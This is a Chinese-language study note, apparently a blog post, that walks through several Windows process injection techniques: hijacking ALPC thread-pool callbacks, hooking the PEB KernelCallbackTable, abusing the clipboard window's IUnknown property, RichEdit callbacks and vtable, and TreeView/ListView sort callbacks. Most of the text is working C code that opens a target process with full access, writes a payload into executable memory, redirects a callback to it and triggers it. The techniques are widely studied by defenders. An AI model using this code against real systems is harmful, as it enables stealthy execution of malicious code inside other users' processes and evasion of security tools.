这个只是我学习的笔记,真正的代码实现都是网上有人已经公开了的,给了参考链接了,这不是我发现的也不是我研究的,这只是我学习的。
本地过程调用(LPC,Local Procedure Call,通常也被称为轻量过程调用或者本地进程间通信是一种由Windows NT内核提供的内部进程间通信方式。通过这一方式,同一计算机上的进程可以进行轻量的通信。在Windows Vista中,ALPC(Advanced Local Procedure Call,高级本地进程通信)替代了LPC。ALPC提供了一个高速可度量的通信机制,这样便于实现需要在用户模式下高速通信的用户模式驱动程序框架(UMDF,User-Mode Driver Framework)(搜索引擎查的)。
按照 Alex Ionescu在 syscan2014上的发言,即使最简单的windows程序都会有ALPC连接。可以用ProcessExplorer查看每个进程的ALPC Port的名字。我查看得情况确实是这样的。
与ALPC的中的回调保存地址有关的结构体:TP_CALLBACK_OBJECT
typedef struct _TP_CALLBACK_OBJECT { ULONG RefCount; PVOID CleanupGroupMember; PTP_CLEANUP_GROUP CleanupGroup; PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback; PTP_SIMPLE_CALLBACK FinalizationCallback; LIST_ENTRY WorkList; ULONG64 Barrier; ULONG64 Unknown1; SRWLOCK SharedLock; TP_SIMPLE_CALLBACK Callback; PACTIVATION_CONTEXT ActivationContext; ULONG64 SubProcessTag; GUID ActivityId; BOOL WorkingOnBehalfTicket; PVOID RaceDll; PTP_POOL Pool; LIST_ENTRY GroupList; ULONG Flags; TP_SIMPLE_CALLBACK CallerAddress; TP_CALLBACK_PRIORITY CallbackPriority; } TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT;
其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:
其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:
typedef struct _TP_SIMPLE_CALLBACK { PVOID Function; PVOID Context; } TP_SIMPLE_CALLBACK;
根据文章内容和代码,我只能确定构造后的Context参数为TP_SIMPLE_CALLBACK本身所在的地址。
通过进程名拿到要注入的目标进程id,通过进程id获取进程句柄。
pi->hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi->pid); if(pi->hp==NULL) return FALSE;
通过NtQuerySystemInformation,传0x10(SystemHandleInformation)参数获取句柄信息。
for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) { list = xmalloc(len); status = NtQuerySystemInformation( SystemHandleInformation, list, len, &total); // break from loop if ok if(NT_SUCCESS(status)) break; // free list and continue xfree(list); }
判断循环判断句柄是否是属于要注入的目标进程的ALPC端口对象。
判断句柄所属进程的pid是不是目标进程
判断句柄类型是不是45...文章说不同的操作系统版本这个值不太一样,windows10是45。
for(i=0; i<hl->NumberOfHandles; i++) { if(hl->Handles[i].UniqueProcessId != pi->pid) continue; if(hl->Handles[i].ObjectTypeIndex != 45) continue; // duplicate the handle object status = NtDuplicateObject( pi->hp, (HANDLE)hl->Handles[i].HandleValue, GetCurrentProcess(), &hObj, 0, 0, 0); // continue with next entry if we failed if(!NT_SUCCESS(status)) continue; // try query the name status = NtQueryObject(hObj, ObjectNameInformation, objName, 8192, NULL); // got it okay? if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) { // save to list pi->ports.push_back(objName->Name.Buffer); } // close handle object NtClose(hObj); }
搜索进程内存,找到进程中的PTP_CALLBACK_OBJECT结构体。
BOOL IsValidTCO(HANDLE hProcess, PTP_CALLBACK_OBJECT tco) { MEMORY_BASIC_INFORMATION mbi; SIZE_T res; // if it's a callback, these values shouldn't be empty if(tco->CleanupGroupMember == NULL || tco->Pool == NULL || tco->CallerAddress.Function == NULL || tco->Callback.Function == NULL) return FALSE; // the CleanupGroupMember should reside in read-only // area of image res = VirtualQueryEx(hProcess, (LPVOID)tco->CleanupGroupMember, &mbi, sizeof(mbi)); if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_READONLY)) return FALSE; if (!(mbi.Type & MEM_IMAGE)) return FALSE; // the pool object should reside in read+write memory res = VirtualQueryEx(hProcess, (LPVOID)tco->Pool, &mbi, sizeof(mbi)); if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_READWRITE)) return FALSE; // the caller function should reside in read+executable memory res = VirtualQueryEx(hProcess, (LPCVOID)tco->CallerAddress.Function, &mbi, sizeof(mbi)); if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_EXECUTE_READ)) return FALSE; // the callback function should reside in read+executable memory res = VirtualQueryEx(hProcess, (LPCVOID)tco->Callback.Function, &mbi, sizeof(mbi)); if (res != sizeof(mbi)) return FALSE; return (mbi.Protect & PAGE_EXECUTE_READ); }
RPCRT4.dll
。bFound=IsValidTCO(pi->hp, &tco); if(bFound) { // obtain module name where callback resides GetMappedFileName(pi->hp, (LPVOID)tco.Callback.Function, filename, MAX_PATH); // filter by RPCRT4.dll if(StrStrI(filename, L"RPCRT4.dll")!=NULL) { wprintf(L"Found TCO at %p for %s\n", addr+pos, filename); // try run payload using this TCO // if successful, end scan bInject = ALPC_deploy(pi, addr+pos, &tco); if (bInject) break; } }
对找到的结构进行HOOK
BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_OBJECT tco) { LPVOID cs = NULL; BOOL bInject = FALSE; TP_CALLBACK_OBJECT cpy; // local copy of tco SIZE_T wr; TP_SIMPLE_CALLBACK tp; DWORD i; // allocate memory in remote for payload and callback parameter cs = VirtualAllocEx(pi->hp, NULL, pi->payloadSize + sizeof(TP_SIMPLE_CALLBACK), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (cs != NULL) { // write payload to remote process WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr); // backup TCO CopyMemory(&cpy, tco, sizeof(TP_CALLBACK_OBJECT)); // copy original callback address and parameter tp.Function = cpy.Callback.Function; tp.Context = cpy.Callback.Context; // write callback+parameter to remote process WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr); // update original callback with address of payload and parameter cpy.Callback.Function = cs; cpy.Callback.Context = (LPBYTE)cs + pi->payloadSize; // update TCO in remote process WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr); // trigger execution of payload for(i=0;i<pi->ports.size(); i++) { ALPC_Connect(pi->ports[i]); // read back the TCO ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr); // if callback pointer is the original, we succeeded. bInject = (cpy.Callback.Function == tco->Callback.Function); if(bInject) break; } // restore the original tco WriteProcessMemory(pi->hp, ds, tco, sizeof(cpy), &wr); // release memory for payload VirtualFreeEx(pi->hp, cs, pi->payloadSize+sizeof(tp), MEM_RELEASE); } return bInject; }
https://blog.csdn.net/weixin_43787608/article/details/84555474
KernelCallBackTable是一个结构体,可以通过PEB来找到这个结构体的地址,当程序调用USER32.DLL时,KernelCallbackTable就会被初始化为函数数组。这个函数数组中的函数通常用于响应窗口消息,例如,_fnCOPYDATA
是响应WM_COPYDATA
消息而执行的。
PEB结构体中的KernelCallbackTable结构所在位置:
typedef struct _PEB { BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the BOOLEAN ReadImageFileExecOptions; // BOOLEAN BeingDebugged; // BOOLEAN SpareBool; // HANDLE Mutant; // INITIAL_PEB structure is also updated. PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID KernelCallbackTable; // ...snipped
KernelCallBackTable结构体:
typedef struct _KERNELCALLBACKTABLE_T { ULONG_PTR __fnCOPYDATA; ULONG_PTR __fnCOPYGLOBALDATA; ULONG_PTR __fnDWORD; ULONG_PTR __fnNCDESTROY; ULONG_PTR __fnDWORDOPTINLPMSG; ULONG_PTR __fnINOUTDRAG; ULONG_PTR __fnGETTEXTLENGTHS; ULONG_PTR __fnINCNTOUTSTRING; ULONG_PTR __fnPOUTLPINT; ULONG_PTR __fnINLPCOMPAREITEMSTRUCT; ULONG_PTR __fnINLPCREATESTRUCT; ULONG_PTR __fnINLPDELETEITEMSTRUCT; ULONG_PTR __fnINLPDRAWITEMSTRUCT; ULONG_PTR __fnPOPTINLPUINT; ULONG_PTR __fnPOPTINLPUINT2; ULONG_PTR __fnINLPMDICREATESTRUCT; ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT; ULONG_PTR __fnINLPWINDOWPOS; ULONG_PTR __fnINOUTLPPOINT5; ULONG_PTR __fnINOUTLPSCROLLINFO; ULONG_PTR __fnINOUTLPRECT; ULONG_PTR __fnINOUTNCCALCSIZE; ULONG_PTR __fnINOUTLPPOINT5_; ULONG_PTR __fnINPAINTCLIPBRD; ULONG_PTR __fnINSIZECLIPBRD; ULONG_PTR __fnINDESTROYCLIPBRD; ULONG_PTR __fnINSTRING; ULONG_PTR __fnINSTRINGNULL; ULONG_PTR __fnINDEVICECHANGE; ULONG_PTR __fnPOWERBROADCAST; ULONG_PTR __fnINLPUAHDRAWMENU; ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD; ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_; ULONG_PTR __fnOUTDWORDINDWORD; ULONG_PTR __fnOUTLPRECT; ULONG_PTR __fnOUTSTRING; ULONG_PTR __fnPOPTINLPUINT3; ULONG_PTR __fnPOUTLPINT2; ULONG_PTR __fnSENTDDEMSG; ULONG_PTR __fnINOUTSTYLECHANGE; ULONG_PTR __fnHkINDWORD; ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT; ULONG_PTR __fnHkINLPCBTCREATESTRUCT; ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT; ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX; ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT; ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT; ULONG_PTR __fnHkINLPMSG; ULONG_PTR __fnHkINLPRECT; ULONG_PTR __fnHkOPTINLPEVENTMSG; ULONG_PTR __xxxClientCallDelegateThread; ULONG_PTR __ClientCallDummyCallback; ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT; ULONG_PTR __fnOUTLPCOMBOBOXINFO; ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2; ULONG_PTR __xxxClientCallDevCallbackCapture; ULONG_PTR __xxxClientCallDitThread; ULONG_PTR __xxxClientEnableMMCSS; ULONG_PTR __xxxClientUpdateDpi; ULONG_PTR __xxxClientExpandStringW; ULONG_PTR __ClientCopyDDEIn1; ULONG_PTR __ClientCopyDDEIn2; ULONG_PTR __ClientCopyDDEOut1; ULONG_PTR __ClientCopyDDEOut2; ULONG_PTR __ClientCopyImage; ULONG_PTR __ClientEventCallback; ULONG_PTR __ClientFindMnemChar; ULONG_PTR __ClientFreeDDEHandle; ULONG_PTR __ClientFreeLibrary; ULONG_PTR __ClientGetCharsetInfo; ULONG_PTR __ClientGetDDEFlags; ULONG_PTR __ClientGetDDEHookData; ULONG_PTR __ClientGetListboxString; ULONG_PTR __ClientGetMessageMPH; ULONG_PTR __ClientLoadImage; ULONG_PTR __ClientLoadLibrary; ULONG_PTR __ClientLoadMenu; ULONG_PTR __ClientLoadLocalT1Fonts; ULONG_PTR __ClientPSMTextOut; ULONG_PTR __ClientLpkDrawTextEx; ULONG_PTR __ClientExtTextOutW; ULONG_PTR __ClientGetTextExtentPointW; ULONG_PTR __ClientCharToWchar; ULONG_PTR __ClientAddFontResourceW; ULONG_PTR __ClientThreadSetup; ULONG_PTR __ClientDeliverUserApc; ULONG_PTR __ClientNoMemoryPopup; ULONG_PTR __ClientMonitorEnumProc; ULONG_PTR __ClientCallWinEventProc; ULONG_PTR __ClientWaitMessageExMPH; ULONG_PTR __ClientWOWGetProcModule; ULONG_PTR __ClientWOWTask16SchedNotify; ULONG_PTR __ClientImmLoadLayout; ULONG_PTR __ClientImmProcessKey; ULONG_PTR __fnIMECONTROL; ULONG_PTR __fnINWPARAMDBCSCHAR; ULONG_PTR __fnGETTEXTLENGTHS2; ULONG_PTR __fnINLPKDRAWSWITCHWND; ULONG_PTR __ClientLoadStringW; ULONG_PTR __ClientLoadOLE; ULONG_PTR __ClientRegisterDragDrop; ULONG_PTR __ClientRevokeDragDrop; ULONG_PTR __fnINOUTMENUGETOBJECT; ULONG_PTR __ClientPrinterThunk; ULONG_PTR __fnOUTLPCOMBOBOXINFO2; ULONG_PTR __fnOUTLPSCROLLBARINFO; ULONG_PTR __fnINLPUAHDRAWMENU2; ULONG_PTR __fnINLPUAHDRAWMENUITEM; ULONG_PTR __fnINLPUAHDRAWMENU3; ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM; ULONG_PTR __fnINLPUAHDRAWMENU4; ULONG_PTR __fnOUTLPTITLEBARINFOEX; ULONG_PTR __fnTOUCH; ULONG_PTR __fnGESTURE; ULONG_PTR __fnPOPTINLPUINT4; ULONG_PTR __fnPOPTINLPUINT5; ULONG_PTR __xxxClientCallDefaultInputHandler; ULONG_PTR __fnEMPTY; ULONG_PTR __ClientRimDevCallback; ULONG_PTR __xxxClientCallMinTouchHitTestingCallback; ULONG_PTR __ClientCallLocalMouseHooks; ULONG_PTR __xxxClientBroadcastThemeChange; ULONG_PTR __xxxClientCallDevCallbackSimple; ULONG_PTR __xxxClientAllocWindowClassExtraBytes; ULONG_PTR __xxxClientFreeWindowClassExtraBytes; ULONG_PTR __fnGETWINDOWDATA; ULONG_PTR __fnINOUTSTYLECHANGE2; ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2; } KERNELCALLBACKTABLE;
例子程序中HOOK的是WM_COPYDATA的响应函数fnCOPYDATA
。
还是根据窗口名获取进程id获取进程句柄。
使用NtQueryInformationProcess传入ProcessBasicInformation来获取目标进程的PEB。
NtQueryInformationProcess(hp, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
根据偏移找到KernelCallbackTable
ReadProcessMemory(hp, pbi.PebBaseAddress, &peb, sizeof(peb), &rd); ReadProcessMemory(hp, peb.KernelCallbackTable, &kct, sizeof(kct), &rd);
HOOK KernelCallbackTable 中的fnCOPYDATA。
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 4. Write the new table to remote process ds = VirtualAllocEx(hp, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); kct.__fnCOPYDATA = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr); // 5. Update the PEB WriteProcessMemory(hp, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &ds, sizeof(ULONG_PTR), &wr);
发消息触发HOOK
cds.dwData = 1; cds.cbData = lstrlen(msg) * 2; cds.lpData = msg; SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
恢复KernelCallbackTable
WriteProcessMemory(hp, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), &wr);
CLIPBRDWNDCLASS这个窗口类通常与剪切板相关,类中的属性中有处理剪切板数据所需的函数地址。这里主要用ClipboardDataObjectInterface
的属性实现进程注入。ClipboardRootDataObjectInterface和ClipboardDataObjectInterfaceMTA这两个属性也可以利用。
当使用SetProp这个API将属性ClipboardDataObjectInterface
设置为IUnknown接口的地址后向该窗口发送WM_DESTROYCLIPBOARD消息,将会调用IUnknown接口中的Release方法。
IUnknown接口结构(冒牌货):
typedef struct _IUnknown_t { // a pointer to virtual function table ULONG_PTR lpVtbl; // the virtual function table ULONG_PTR QueryInterface; ULONG_PTR AddRef; ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD } IUnknown_t;
根据窗口类名找到窗口句柄,找到进程pid找到进程句柄。
hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL); GetWindowThreadProcessId(hw, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
在找到的进程之中申请内存构造IUnknow接口,将接口中的release设置为写入的payload的地址 ,将虚表设置为下个四字节的地址。
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 3. Allocate RW memory in process. // Initialize and write IUnknown interface ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); iu.lpVtbl = (ULONG_PTR)ds + sizeof(ULONG_PTR); iu.Release = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
设置属性值,并发送消息触发自定义的payload。
// 4. Set the interface property and trigger execution SetProp(hw, L"ClipboardDataObjectInterface", ds); PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);
RichEdit控件是一个可用于输入、编辑、格式化、打印和保存文本的窗口空间。该控件中有许多的回调函数用于处理不同的消息。
这一次利用的消息有:
通过该消息可以设置当有键盘按键事件发生时的消息回调。
找到具有RICHEDIT50W窗口类的空间,测试代码为了测试是直接通过写字板应用程序测试的。
wpw = FindWindow(L"WordPadClass", NULL); // 2. Find the rich edit control for wordpad. rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
获取当前Wordwrap函数的地址,和写字板的进程ID,打开该进程。
wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0); // 4. Obtain the process id for wordpad. GetWindowThreadProcessId(rew, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
在写字板进程中申请内存写入payload,将消息回调设置为payload的地址。
cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 7. Write the payload to memory WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 8. Update the callback procedure SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);
模拟键盘输入操作触发payload,然后恢复窗口回调。
ip.type = INPUT_KEYBOARD; ip.ki.wVk = 'A'; ip.ki.wScan = 0; ip.ki.dwFlags = 0; ip.ki.time = 0; ip.ki.dwExtraInfo = 0; SetForegroundWindow(wpw); SendInput(1, &ip, sizeof(ip)); SendInput(1, &ip, sizeof(ip)); // 10. Restore original Wordwrap function SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);
当RIchEdit控件收到EM_STREAMIN消息时候,将会使用EDITSTREAM结构将数据传入或者传出控件。
typedef struct _editstream { DWORD_PTR dwCookie; // User value passed to callback as first parameter DWORD dwError; // Last error EDITSTREAMCALLBACK pfnCallback; } EDITSTREAM;
其中为EDITSTREAMCALLBACK类型的pfnCallback字段可以用于指向payload。当使用这个方法的时候,控件中的文本内容将会被删除。
获取相应进程信息
wpw = FindWindow(L"WordPadClass", NULL); rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL); // 2. Obtain the process id and try to open process GetWindowThreadProcessId(rew, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
申请内存,创建EDITSTREAM对象
// 3. Allocate RWX memory and copy the payload there. cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 4. Allocate RW memory and copy the EDITSTREAM structure there. ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); es.dwCookie = 0; es.dwError = 0; es.pfnCallback = cs; WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
触发payload
// 5. Trigger payload with EM_STREAMIN SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);
这个其实和消息回调关系不大,EM_GETOLECALLBACK可以获取虚表执政,主要是用于HOOK RichEditOle的虚表指针,将整个虚表指针hook。以下是该控件虚表指针的虚表原型。
typedef struct _IRichEditOle_t { ULONG_PTR QueryInterface; ULONG_PTR AddRef; ULONG_PTR Release; ULONG_PTR GetClientSite; ULONG_PTR GetObjectCount; ULONG_PTR GetLinkCount; ULONG_PTR GetObject; ULONG_PTR InsertObject; ULONG_PTR ConvertObject; ULONG_PTR ActivateAs; ULONG_PTR SetHostNames; ULONG_PTR SetLinkAvailable; ULONG_PTR SetDvaspect; ULONG_PTR HandsOffStorage; ULONG_PTR SaveCompleted; ULONG_PTR InPlaceDeactivate; ULONG_PTR ContextSensitiveHelp; ULONG_PTR GetClipboardData; ULONG_PTR ImportDataObject; } _IRichEditOle;
老样子
rew = FindWindow(L"WordPadClass", NULL); rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL); // 2. Obtain the process id and try to open process GetWindowThreadProcessId(rew, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); // 3. Allocate RWX memory and copy the payload there cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
查询接口
// 5. Query the interface SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr); // 6. Read the memory address ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);
读取虚表指针地址
// 7. Read IRichEditOle.lpVtbl ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);
读取虚表内容
// 8. Read virtual function table ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);
将虚表指针进行HOOK,构造虚表,将表中关于WM_COPY的回调函数修改为payload的的地址并触发消息。
// 9. Allocate memory for copy of virtual table ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 10. Set the GetClipboardData method to address of payload reo.GetClipboardData = (ULONG_PTR)cs; // 11. Write new virtual function table to remote memory WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr); // 12. update IRichEditOle.lpVtbl WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr); // 13. Trigger payload by invoking the GetClipboardData method PostMessage(rew, WM_COPY, 0, 0);
主要以获取treelist的句柄之后,获取treelist的第一项,构造TVSORTCB结构,对treelist第一项发送消息TVM_SORTCHILDRENCB
,触发TVSORTCB结构中的payload。
typedef struct tagTVSORTCB { HTREEITEM hParent; PFNTVCOMPARE lpfnCompare; LPARAM lParam; } TVSORTCB, *LPTVSORTCB;
老规矩,不过这一次实验是通过注册表实现的
wpw = FindWindow(L"RegEdit_RegEdit", NULL); tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0); // 2. Obtain the process id and try to open process GetWindowThreadProcessId(tlv, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); // 3. Allocate RWX memory and copy the payload there. cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
获取treelist的根节点,构造TVSORTCB结构。发送TVM_SORTCHILDRENCB以触发结构中的payload。
item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0); tvs.hParent = item; tvs.lpfnCompare = cs; tvs.lParam = 0; // 5. Allocate RW memory and copy the TVSORTCB structure ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr); // 6. Trigger payload SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);
这个比较简单,直接获取treelist控件,发送消息LVM_SORTITEMS以运行payload。有个缺点就是treelist的子tree都会响应这个消息。。。想想就很恐怖。
// 1. get the window handle wpw = FindWindow(L"RegEdit_RegEdit", NULL); lvm = FindWindowEx(wpw, 0, L"SysListView32", 0); // 2. Obtain the process id and try to open process GetWindowThreadProcessId(lvm, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); // 3. Allocate RWX memory and copy the payload there. cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 4. Trigger payload PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs); // 5. Free memory and close process handle VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp);